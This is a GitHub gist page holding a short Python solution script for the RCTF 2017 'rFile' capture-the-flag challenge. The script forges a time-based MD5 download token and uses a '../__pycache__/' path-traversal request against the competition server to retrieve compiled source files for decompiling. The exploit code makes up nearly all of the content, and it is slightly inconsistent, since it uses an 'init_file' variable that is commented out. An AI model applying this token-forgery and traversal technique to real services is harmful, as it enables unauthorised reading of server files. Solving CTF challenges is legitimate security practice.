Navigation Menu

Skip to content

Instantly share code, notes, and snippets.

@abdilahrf
Forked from rkmylo/rfile_solution.py
Created May 23, 2017 04:08
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save abdilahrf/18bfb3a6e6d9a18aac88fa092263ab39 to your computer and use it in GitHub Desktop.
Save abdilahrf/18bfb3a6e6d9a18aac88fa092263ab39 to your computer and use it in GitHub Desktop.
RCTF 2017 - rFile Solution
from __future__ import division
import hashlib
import requests
from datetime import datetime, timedelta
api_url = 'http://rfile.2017.teamrois.cn/api/download/{}/{}'
def totimestamp(dt, epoch=datetime(1970,1,1)):
td = dt - epoch
return (td.microseconds + (td.seconds + td.days * 86400) * 10**6) / 10**6
def gen_md5(filename):
tstamp = datetime.now()
tstamp = tstamp.replace(second=0, microsecond=0)
tstamp = int(totimestamp(tstamp)) - 10800 + 60 # fix timezone
plaintext = '{}{}'.format(tstamp, filename)
md5 = hashlib.md5(plaintext).hexdigest()
return md5
#init_file = '../__pycache__/__init__.cpython-35.pyc' => decompile using uncompyle6 (python3)
conf_file = '../__pycache__/conf.cpython-35.pyc'
download_url = api_url.format(gen_md5(init_file), init_file)
resp = requests.get(download_url)
print resp.text
#with open('__init__.pyc', 'wb') as f:
# f.write(resp.content)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment